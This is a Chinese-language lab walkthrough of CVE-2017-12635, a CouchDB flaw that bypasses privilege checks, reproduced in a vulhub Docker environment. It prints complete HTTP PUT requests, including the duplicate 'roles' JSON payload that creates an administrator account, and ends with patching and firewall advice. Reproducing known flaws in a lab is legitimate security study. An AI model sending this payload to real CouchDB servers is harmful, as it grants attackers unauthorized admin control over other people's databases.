1. 程式人生 > 實用技巧 >CVE-2017-12635(Couchdb 垂直許可權繞過漏洞)

CVE-2017-12635(Couchdb 垂直許可權繞過漏洞)

Couchdb 垂直許可權繞過漏洞

漏洞描述

1.漏洞編號:CVE-2017-12635

2.影響版本:小於 1.7.0 以及 小於 2.1.1

3.漏洞產生原因:

Apache CouchDB是一個開源資料庫,專注於易用性和成為"完全擁抱web的資料庫"。它是一個使用JSON作為儲存格式,JavaScript作為查詢語言,MapReduceHTTP作為APINoSQL資料庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程式)。

20171115日,CVE-2017-12635CVE-2017-12636

披露,CVE-2017-12635是由於ErlangJavaScriptJSON解析方式的不同,導致語句執行產生差異性導致的。這個漏洞可以讓任意使用者建立管理員,屬於垂直許可權繞過漏洞。

參考連結:

- http://bobao.360.cn/learning/detail/4716.html

- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html

編譯及啟動環境:

docker-compose build

docker-composeup -d

vulnIP:192.168.18.81

環境啟動後,訪問`http://your-ip:5984/_utils/`即可看到一個

web頁面,說明Couchdb已成功啟動。但我們不知道密碼,無法登陸。

漏洞發現

關注Couchdb的版本

漏洞利用

首先,傳送如下資料包:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1

Host: 192.168.18.81:5984

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 96

 

{

  "type": "user",

  "name": "vulhub",

  "roles": ["_admin"],

  "password": "vulhub"

}

可見,返回403錯誤:`{"error":"forbidden","reason":"Only _admin may set roles"}`,只有管理員才能設定Role角色:

傳送包含兩個roles的資料包,即可繞過限制:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1

Host: 192.168.18.81:5984

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 112

 

{

  "type": "user",

  "name": "vulhub",

  "roles": ["_admin"],

  "roles": [],

  "password": "vulhub"

}

成功建立管理員,賬戶密碼均為`vulhub`

再次訪問http://your-ip:5984/_utils/,輸入賬戶密碼vulhub,可以成功登入:

問題彙總

修復方案

1.打補丁,升級到最新版本~

2.使用ECS安全組或防火牆策略,限制CouchDB埠暴露在網際網路,設定精細化網路訪問控制。

2021-01-2015:15:54